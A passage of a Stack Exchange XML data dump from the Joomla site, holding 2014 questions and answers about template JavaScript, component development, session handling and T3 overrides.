&amp;gt; 52) {&#xA;        jQuery('.navigation').css({'min-height' : minheight +'px'});&#xA;        jQuery('.t3-mainnav').css({'top' : 30-(jQueryscrollTop/8) +'px'});&#xA;        jQuery('.logo-img').css({'width': 169 - (jQueryscrollTop/3.5) +'px'});&#xA;    }&#xA;    else {&#xA;        jQuery('.navigation').css({'min-height' : '52px'});&#xA;        jQuery('.t3-mainnav').css({'top' : 0});&#xA;        jQuery('.logo-img').css({'width': '100px'});&#xA;    }&#xA;&#xA;        /*if (jQuerycameracaptiontop) {&#xA;            jQuery('.camera_wrap').css({'height': ((- jQueryscrollTop / 2)+ jQueryheaderheight) + 'px' });&#xA;            jQuery('.home .t3-sl-1').css({'height': (parseInt(jQuery('.camera_wrap').css('height'))+2)  + 'px' })&#xA;            jQuery('.camera_caption').css({'top': jQueryscrollTop/3 + jQuerycameracaptiontop + 'px' });&#xA;        }*/&#xA;    });&#xA;});&#xA;&#xA;Formatted code with Parallax scrolling effect removed: (causes front end images to disappear)&#xA;&#xA;// Sticky Navigation&#xA;   jQuery(document).ready(function () {&#xA;    if (jQuery().sticky) {&#xA;        jQuery(&quot;.navigation&quot;).sticky({&#xA;    topSpacing: 0,&#xA;        });;&#xA;    }&#xA;});&#xA;&#xA;function getCurrentScroll() {&#xA;    return window.pageYOffset || document.documentElement.scrollTop;&#xA;}&#xA;&#xA;// Nicescroll&#xA;/*jQuery(document).ready(function() {&#xA;    jQuery(&quot;html&quot;).niceScroll();&#xA;});*/&#xA;&#xA;// Waypoints&#xA;jQuery(document).ready(function () {&#xA;    //if present, set slideshow height first&#xA;    if (jQuery('.home .t3-sl-1').length &amp;gt; 0) {&#xA;        jQuery('.home .t3-sl-1').css('height',34/100*(jQuery('.home .t3-sl-1').width())+2);&#xA;        jQuery( window ).resize(function() {&#xA;            jQuery('.home .t3-sl-1').css('height',34/100*(jQuery('.home .t3-sl-1').width())+2);&#xA;        });&#xA;    }&#xA;&#xA;    //set waypoints&#xA;    if (addon_animations_enable)&#xA;        {&#xA;        if (jQuery().waypoint) {&#xA;            jQuery('.appear').waypoint(function () {&#xA;&#xA;                var t = jQuery(this);&#xA;&#xA;                if (jQuery(window).width() &amp;lt; 767) {&#xA;                    t.delay(jQuery(this).data(1));&#xA;                    t.toggleClass(jQuery(this).data(&quot;animated&quot;) + &quot; animated&quot;).removeClass('appear');&#xA;                } else {&#xA;                    t.delay(jQuery(this).data(&quot;start&quot;)).queue(function () {&#xA;                        t.toggleClass(jQuery(this).data(&quot;animated&quot;) + &quot; animated&quot;).removeClass('appear');&#xA;                    });&#xA;                }&#xA;            }, {&#xA;                offset: '85%',&#xA;                triggerOnce: true,&#xA;            });&#xA;        }&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If anyone has a suggestion as to why the images do not show that would be great.&lt;/p&gt;&#xA;" OwnerUserId="2077" LastEditorUserId="168" LastEditDate="2014-10-23T19:19:50.933" LastActivityDate="2015-03-18T04:33:39.510" Title="Front end images disappear on my Joomla site when adding custom js code" Tags="|joomla-3.x|templates|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4929" PostTypeId="2" ParentId="4928" CreationDate="2014-10-23T20:18:38.387" Score="2" Body="&lt;p&gt;Having looked at your source code, it appears &lt;code&gt;addon_animations_enable&lt;/code&gt; is not defined. This can be found on line &lt;strong&gt;30&lt;/strong&gt; of your &lt;em&gt;custom.js&lt;/em&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to this, the class &lt;code&gt;appear&lt;/code&gt; is not being removed from the elements that contain the image. In your &lt;em&gt;template.css&lt;/em&gt; file on line &lt;strong&gt;2590&lt;/strong&gt;, you will see the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.appear {&#xA;    opacity: 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is making all elements with this class invisible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can either try to figure out why &lt;code&gt;addon_animations_enable&lt;/code&gt; is not defined, or remove the above CSS code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-10-23T20:18:38.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4930" PostTypeId="1" AcceptedAnswerId="4931" CreationDate="2014-10-23T21:09:21.640" Score="3" ViewCount="1428" Body="&lt;p&gt;I added in my helper file new sub-menu item, also in xml file like every other sub-menu item, but there is still not visible in administration, i tried wit discover functionality but this is not the solution, how can i do it? Every other sub-menu items are already visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP Definition is like every other:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   JHtmlSidebar::addEntry(&#xA;        JText::_('COM_BTICKETS_TITLE'),&#xA;        'index.php?option=com_btickets&amp;amp;view=btickets',&#xA;        $vName == 'btickets'&#xA;    );   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;XML Definition also like every other:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;menu link=&quot;option=com_btickets&amp;amp;amp;view=btickets&quot; view=&quot;btickets&quot; img=&quot;components/com_quickhshop/assets/images/s_pricess.png&quot; alt=&quot;Btickets/Tickets&quot;&amp;gt;COM_BTICKETS_TITLE&amp;lt;/menu&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;View names, xml &amp;amp; php definitions are 100% true.&lt;/p&gt;&#xA;" OwnerUserId="1952" LastActivityDate="2014-10-23T21:18:04.337" Title="Component development, how to update submenu in administration?" Tags="|component|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4931" PostTypeId="2" ParentId="4930" CreationDate="2014-10-23T21:18:04.337" Score="4" Body="&lt;p&gt;You have to reinstall your component with the updated XML definition. The PHP definition is just for the menu on the left side in the backend and does not update your database with the new sub menu item.&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2014-10-23T21:18:04.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4932" PostTypeId="2" ParentId="4926" CreationDate="2014-10-24T03:35:12.660" Score="1" Body="&lt;p&gt;You can add a &lt;code&gt;check&lt;/code&gt; method to your table class. This is run after &lt;code&gt;bind&lt;/code&gt; but before &lt;code&gt;store&lt;/code&gt; by default. This is a great method to check that the record is valid and handle any specific row requirements.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function check() {&#xA;    // Only set the number if this is a new record (id = 0)&#xA;    if (property_exists($this, 'number') &amp;amp;&amp;amp; $this-&amp;gt;id == 0) {&#xA;         $db = JFactory::getDbo();&#xA;         $query = $db-&amp;gt;getQuery(true);&#xA;         $query-&amp;gt;select('MAX(`number`) + 1');&#xA;         $query-&amp;gt;from('`#__table`');&#xA;         $query-&amp;gt;where('`year` = YEAR(CURDATE())');&#xA;         $db-&amp;gt;setQuery($query);&#xA;         $this-&amp;gt;number = $db-&amp;gt;loadResult();&#xA;    }&#xA;&#xA;    return parent::check();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-10-24T03:35:12.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4933" PostTypeId="2" ParentId="1093" CreationDate="2014-10-24T04:07:31.127" Score="4" Body="&lt;p&gt;I noticed that you're putting JomSocial and Community Builder on the table; have you considered &lt;a href=&quot;http://stackideas.com/easysocial&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;EasySocial&lt;/strong&gt;&lt;/a&gt; as an alternative solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EasySocial, developed by the &lt;a href=&quot;http://stackideas.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Stack Ideas&lt;/strong&gt;&lt;/a&gt; team, is currently one of the most rising social networking component to date. With EasySocial, we have most of the features that other social networking extensions has to offer &lt;strong&gt;PLUS&lt;/strong&gt; the &lt;strong&gt;Stack Ideas Support&lt;/strong&gt; which is &lt;strong&gt;top-notch&lt;/strong&gt;. Should you have any inquiries about the component, you don't have to wait for long before the support team comes to your rescue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check out more about EasySocial here (&lt;a href=&quot;http://stackideas.com/easysocial&quot; rel=&quot;nofollow&quot;&gt;http://stackideas.com/easysocial&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="2079" LastEditorUserId="126" LastEditDate="2014-10-24T05:39:07.803" LastActivityDate="2014-10-24T05:39:07.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4934" PostTypeId="1" AcceptedAnswerId="4936" CreationDate="2014-10-24T11:06:53.133" Score="2" ViewCount="309" Body="&lt;p&gt;I am out of ideas with this one... I have to make a few changes on the category blog template on a Joomla 2.5 site. The issue is that whatever I do in any of the templates of the view, it won't be displayed on the front-end. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked everything I can think of...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Caches, template overrides, other system plugins that could cache/server cached content, expire headers ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I instruct the template files to die and they don't... The latest point my changes can have effect is at the view.html.php file. &#xA;After that point nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's over an hour that I am messing with this and have no clue yet... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any good idea of what else I could check ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a T3 framework template.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-10-24T13:39:43.903" LastActivityDate="2015-05-30T14:10:29.047" Title="No way to make any changes on com_content category blog view - T3 Template" Tags="|joomla-2.5|overrides|com-content|t3-framework|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4935" PostTypeId="2" ParentId="4934" CreationDate="2014-10-24T11:40:01.033" Score="2" Body="&lt;p&gt;I have encountered this type of problem with framework based templates (gantry, T3, warp, etc ..).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, you can modify:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/plugins/system/t3/base-bs3/html/com_content/category/blog.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;or any of the files in :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/plugins/system/t3/base-bs3/html/com_content/category&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Main drawback : be careful when you update T3 framework plugin.&lt;/p&gt;&#xA;" OwnerUserId="270" LastEditorUserId="168" LastEditDate="2014-10-26T18:42:04.493" LastActivityDate="2014-10-26T18:42:04.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4936" PostTypeId="2" ParentId="4934" CreationDate="2014-10-24T13:32:11.227" Score="4" Body="&lt;p&gt;Okay - here it is. &#xA;This site uses outdated Joomla and outdated T3v3 framework. T3v3 holds its overrides inside the T3 system plugin. I had long time to use a T3 template and I didn't see this right away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full path: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;plugins/system/jat3v3/t3v3base/html/&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But, even this way, I would expect that any custom override inside the template should take precedence over the overrides inside the plugin. But this wasn't the case.&lt;br&gt;&#xA;I searched a little and found a post in JA forums about this issue. That was a bug of the T3 framework, which probably shall be fixed in the current version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference to the JA forum:&#xA;&lt;a href=&quot;http://www.joomlart.com/forums/showthread.php?82329-Overriding-T3V3-core-Joomla-component-module-templates&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Overriding T3V3 core Joomla component/module templates&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-05-30T14:10:29.047" LastActivityDate="2015-05-30T14:10:29.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4937" PostTypeId="2" ParentId="4343" CreationDate="2014-10-24T16:58:24.100" Score="2" Body="&lt;p&gt;&lt;strong&gt;This is a candidate for a CCK, like Zoo.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want to structure content based on different factors, and select multiple categories, etc.  It's possible with Joomla articles but it's not the most organized or elegant way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a CCK, &lt;strong&gt;each item type has its own &lt;em&gt;fields&lt;/em&gt;, &lt;em&gt;structure,&lt;/em&gt; and &lt;em&gt;display layout&lt;/em&gt;&lt;/strong&gt;-- if you customize it that far.  And for your proposed application, you should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Items can be related and categorized, but also the structure of the items themselves can be customized for the presentation of your information. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For instance, a profile on the producer is an item of type &quot;producer&quot;&lt;/li&gt;&#xA;&lt;li&gt;Programs would have entirely different fields&lt;/li&gt;&#xA;&lt;li&gt;Episodes have fields related to, well, specific episodes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;By setting up a CCK, you'll have a more organized and elegant presentation, &lt;em&gt;but you'll also streamline your ongoing content management.&lt;/em&gt;  Each item type (producer, program, episode) &quot;styles itself&quot; and you can focus on just plugging in raw information.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: if you already have the content set up as articles, CCKs like Zoo can import them to speed up your conversion time. :)&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2014-10-24T16:58:24.100" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4938" PostTypeId="1" CreationDate="2014-10-24T23:46:13.383" Score="2" ViewCount="1529" Body="&lt;p&gt;Is there any way in Joomla 2.5 to create and get access to an access.log (visit log file) like classic UNIX and IIS servers created so I can use a web traffic analysis software like the old Hit List or WebTrends? (The online analytics tools are basically fluff and don't offer the filtering power to really see browsing patterns like nearly 20-year-old packaged software.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or are extension-based modules my only option?&lt;/p&gt;&#xA;" OwnerUserId="1953" LastActivityDate="2014-10-26T03:56:28.803" Title="Any way to get access.log file for analysis" Tags="|joomla-2.5|google-analytics|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4939" PostTypeId="1" AcceptedAnswerId="4945" CreationDate="2014-10-25T09:31:49.360" Score="1" ViewCount="4092" Body="&lt;p&gt;I write a small component to export data from a shop component, this is my first component, i get the error &quot;Fatal error: Call to a member function getKeyName() on a non-object PATH\legacy\model\admin.php on line 885&quot;, i found some solution, but my problem is i don't wont new table, and my question is how can i avoid new sql table? Because i work with tables of already existing components and they are not edited with my component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My sources:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://forum.joomla.org/viewtopic.php?f=620&amp;amp;t=666986&#xA;http://stackoverflow.com/questions/21156707/fatal-error-call-to-a-member-function-getkeyname&#xA;http://stackoverflow.com/questions/12313272/error-call-to-a-member-function-getkeyname-component-for-joomla-2-5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I understand from this solution that i need a new table, but i don't need it...&lt;/p&gt;&#xA;" OwnerUserId="1952" LastActivityDate="2021-01-08T11:36:40.270" Title="Error &quot;Fatal error: Call to a member function getKeyName() on a non-object&quot;, but without table?" Tags="|component|php|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4940" PostTypeId="1" AcceptedAnswerId="4943" CreationDate="2014-10-25T22:03:15.590" Score="5" ViewCount="423" Body="&lt;p&gt;I'm writing a custom component cart, and using a form post to save cart data in the Joomla session. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works initially, but then if the user goes back to add another item, the original item is overwritten. The form itself is simply posting from the products view to the cart view, so I'll just show you how it's being retrieved and saved to session:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cart = array();&#xA;$cart['items'][] = array(&#xA;        'action' =&amp;gt; $app-&amp;gt;input-&amp;gt;get('action', 'add', 'STRING'),&#xA;        'domain_name' =&amp;gt; $app-&amp;gt;input-&amp;gt;get('chosen_domain', '', 'STRING'),&#xA;        'chosen_plan' =&amp;gt; $app-&amp;gt;input-&amp;gt;get('chosen_plan', '', 'STRING'),&#xA;        'chosen_location' =&amp;gt; $app-&amp;gt;input-&amp;gt;get('chosen_location', '', 'STRING'),&#xA;        'chosen_type' =&amp;gt; $app-&amp;gt;input-&amp;gt;get('chosen_type', '', 'STRING'),&#xA;        'chosen_id' =&amp;gt; $app-&amp;gt;input-&amp;gt;get('chosen_id', '', 'INT'),&#xA;        'chosen_period' =&amp;gt; $app-&amp;gt;input-&amp;gt;get('chosen_period', '', 'INT')&#xA;    );&#xA;$session = JFactory::getSession();&#xA;$session-&amp;gt;set('cart', $cart);&#xA;$cart_result = $session-&amp;gt;get('cart');&#xA;&#xA;echo &quot;&amp;lt;pre&amp;gt;&quot; . print_r($cart_result, TRUE) . &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2082" LastEditorUserId="126" LastEditDate="2016-01-22T00:27:17.833" LastActivityDate="2016-01-22T00:27:17.833" Title="Joomla custom session data is overwritten" Tags="|joomla-3.x|development|session|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4941" PostTypeId="1" CreationDate="2014-10-25T23:36:03.560" Score="5" ViewCount="1359" Body="&lt;p&gt;I found this page on how to implement a custom field in article:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Adding_custom_fields_to_the_article_component&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Adding_custom_fields_to_the_article_component&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and it works well, but only in &lt;code&gt;article&lt;/code&gt; view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do else, to make it show that custom field in each article, when in &lt;code&gt;category blog&lt;/code&gt; view?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried adding :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$dispatcher = JDispatcher::getInstance();&#xA;JPluginHelper::importPlugin('content', 'plg_content_rating');&#xA;$results = $dispatcher-&amp;gt;trigger('onContentPrepare', array('com_content.category', &amp;amp; $this-&amp;gt;item, &amp;amp;$this-&amp;gt;item-&amp;gt;params, 0));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to my &lt;code&gt;category blog&lt;/code&gt; override file, but that didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also in &lt;code&gt;components/com_content/views/category/view.html.php&lt;/code&gt; file,&#xA;there is a line like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$results = $dispatcher-&amp;gt;trigger('onContentPrepare', array ('com_content.category', &amp;amp;$item, &amp;amp;$this-&amp;gt;params, 0));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Shouldn't that already trigger all registered content plugins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The similar line in &lt;code&gt;article's&lt;/code&gt; &lt;em&gt;view.html.php&lt;/em&gt; file, works well for that&#xA;purpose.&lt;/p&gt;&#xA;" OwnerUserId="2086" LastEditorUserId="126" LastEditDate="2015-12-04T19:38:28.217" LastActivityDate="2015-12-04T19:38:28.217" Title="Triggering onContentPrepare from Category Blog view" Tags="|plugin|com-content|custom-field|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4942" PostTypeId="1" CreationDate="2014-10-25T23:51:07.703" Score="3" ViewCount="1034" Body="&lt;p&gt;I need a advice on how to add some different views/tmpls to a Joomla 3.x System Plugin. I made a simple plugin to replace Joomla 3.x Offline page, but i would like to add several different views (layouts) to that plugin. I am confused with views vs tmpl. Could some one give me some guidance and give me a simple directory structure to follow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use this code to trigger \views\defaultview\view.html.php but i want to have more different views. Is this the correct way?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onBeforeRender(){&#xA;    // Get the application.&#xA;    $app = JFactory::getApplication('site');&#xA;    if (($app-&amp;gt;getCfg('offline'))&amp;amp;&amp;amp;(!$app-&amp;gt;isAdmin())) {&#xA;        // Get the document object.&#xA;        $doc = JFactory::getDocument();&#xA;        $view = 'defaultview';&#xA;        $basePath = __DIR__;&#xA;        $config = array( 'base_path'=&amp;gt;$basePath);&#xA;        require_once $basePath . DS . 'views'  . DS . $view . DS . 'view.html.php';&#xA;        JResponse::setHeader('Content-Type', 'text/html; charset=utf-8');&#xA;        JResponse::sendHeaders();       &#xA;&#xA;        $app-&amp;gt;close();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2087" LastEditorUserId="22" LastEditDate="2014-10-26T03:19:48.397" LastActivityDate="2014-10-27T09:17:05.590" Title="Adding views/tmpl to Joomla 3.x Plugin" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4943" PostTypeId="2" ParentId="4940" CreationDate="2014-10-26T03:52:49.967" Score="5" Body="&lt;p&gt;It looks like you're creating a new cart array instead of starting with your stored data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;$cart = $session-&amp;gt;get('cart',array('items'=&amp;gt;array()));&#xA;$cart['items'][] = array(&#xA;        'action' =&amp;gt; $app-&amp;gt;input-&amp;gt;get('action', 'add', 'STRING'),&#xA;        'domain_name' =&amp;gt; $app-&amp;gt;input-&amp;gt;get('chosen_domain', '', 'STRING'),&#xA;        'chosen_plan' =&amp;gt; $app-&amp;gt;input-&amp;gt;get('chosen_plan', '', 'STRING'),&#xA;        'chosen_location' =&amp;gt; $app-&amp;gt;input-&amp;gt;get('chosen_location', '', 'STRING'),&#xA;        'chosen_type' =&amp;gt; $app-&amp;gt;input-&amp;gt;get('chosen_type', '', 'STRING'),&#xA;        'chosen_id' =&amp;gt; $app-&amp;gt;input-&amp;gt;get('chosen_id', '', 'INT'),&#xA;        'chosen_period' =&amp;gt; $app-&amp;gt;input-&amp;gt;get('chosen_period', '', 'INT')&#xA;    );&#xA;$session-&amp;gt;set('cart', $cart);&#xA;$cart_result = $session-&amp;gt;get('cart');&#xA;&#xA;echo &quot;&amp;lt;pre&amp;gt;&quot; . print_r($cart_result, TRUE) . &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2066" LastActivityDate="2014-10-26T03:52:49.967" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4944" PostTypeId="2" ParentId="4938" CreationDate="2014-10-26T03:56:28.803" Score="1" Body="&lt;p&gt;You may be able to configure access log storage location using .htaccess&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you can control the file location - you could write a script to parse it (some exist I believe)&lt;/p&gt;&#xA;" OwnerUserId="2066" LastActivityDate="2014-10-26T03:56:28.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4945" PostTypeId="2" ParentId="4939" CreationDate="2014-10-26T04:01:14.140" Score="4" Body="&lt;p&gt;&lt;code&gt;JForm&lt;/code&gt; usually maps to the columns of a database table when used with &lt;code&gt;JModelAdmin&lt;/code&gt;, so if the name of a column is &lt;code&gt;add&lt;/code&gt; it looks for add to be a column in that table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look into the content component (articles) and inspect some of the form fields, then look at the database table for content you will see their names match. If you want to use &lt;code&gt;JForm&lt;/code&gt; the best way is to apply your own logic to it, so use &lt;code&gt;JModelLegacy&lt;/code&gt; with a controller to catch and direct save to your own model function, rather then the default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For pretty much every function in &lt;code&gt;JModelAdmin&lt;/code&gt; it adds &lt;code&gt;$table = $this-&amp;gt;getTable();&lt;/code&gt; to be able to pass or retrieve the data from the table. However with &lt;code&gt;JModelLegacy&lt;/code&gt; there is no direct connection to &lt;code&gt;JForm&lt;/code&gt; but by the sounds of it you just want the clean way to display the forms, so it is probably best to just add that logic to your view class anyway (the &lt;code&gt;view.html.php&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However you could override the save/retrieve functions of &lt;code&gt;JModelAdmin&lt;/code&gt; to make use of it, but all in all it might be more work then just using &lt;code&gt;JModelLegacy&lt;/code&gt; in my opinion. It forces less on you and gives you the ability to customize your code more if you are not using the typical Joomla way of using tables.&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="75" LastEditDate="2014-10-26T04:08:14.623" LastActivityDate="2014-10-26T04:08:14.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4946" PostTypeId="1" AcceptedAnswerId="4967" CreationDate="2014-10-26T09:57:40.197" Score="0" ViewCount="3269" Body="&lt;p&gt;I am new to Joomla, need to solve the problem. Please help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am using VirtueMart extension for managing products in my joomla site. I have added products in the back end, but they are not displaying on the front-end of the website. Here is the screenshot of the back end product section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am using Joomla! 2.5.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set the &quot;In stock&quot; as 10 under &quot;Product status&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cl7iM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2088" LastEditorUserId="3650" LastEditDate="2016-11-24T19:26:31.997" LastActivityDate="2016-11-24T19:26:31.997" Title="Product not displaying on frontend joomla virtuemart" Tags="|joomla-2.5|virtuemart|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4948" PostTypeId="2" ParentId="4920" CreationDate="2014-10-26T11:03:54.993" Score="3" Body="&lt;p&gt;Here is a hypothesis based on what I seen in the source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see anything that looks like there is any problem with adding the recipient. Are you using SMTP? With SMTP you can use the variable &lt;code&gt;$mail-&amp;gt;SMTPDebug = true&lt;/code&gt; This should echo the request if made via SMTP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way PHPMailer (what joomla uses) loops through the recipients and sends them an email each, if there is any kind of limiter in the PHP mail settings or SMTP server settings that could be the reason. You could try adding them as a CC though if that is an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is the case you could try mandrill &lt;a href=&quot;http://mandrill.com/&quot; rel=&quot;nofollow&quot;&gt;http://mandrill.com/&lt;/a&gt;. It has a very nice SMTP service and is free up to 12000 emails (a month). But, with some hosts SMTP requests tend to be blacklisted. So again mandrill is a reasonable idea as it comes with an http API. There is also an extension that overrides &lt;code&gt;JMail&lt;/code&gt; to us it.&#xA;&lt;a href=&quot;https://compojoom.com/joomla-extensions/mandrill-transactional-emails-made-easy&quot; rel=&quot;nofollow&quot;&gt;https://compojoom.com/joomla-extensions/mandrill-transactional-emails-made-easy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We use this heavily and since doing so we have had little to no problems with emails. It is all free too until you reach a certain threshold that is difficult to reach.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-10-26T11:03:54.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4949" PostTypeId="2" ParentId="4942" CreationDate="2014-10-26T11:42:58.117" Score="3" Body="&lt;p&gt;Your code snippet just includes a view file and stops the execution. If your view.html.php has a class, your are not going to get any output (you are not executing the view rendering).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking into the process, you are trying to generate a view inside the onBeforeRender event, and killing further processing. It could work, but it is better if you just redirects to any usual output method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, check how the SystemRedirect plugin works, calling JError/customErrorPage, it redirects to an Url or calls a JDocument rendering (both methods allow to override views and templating).&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-10-26T11:42:58.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
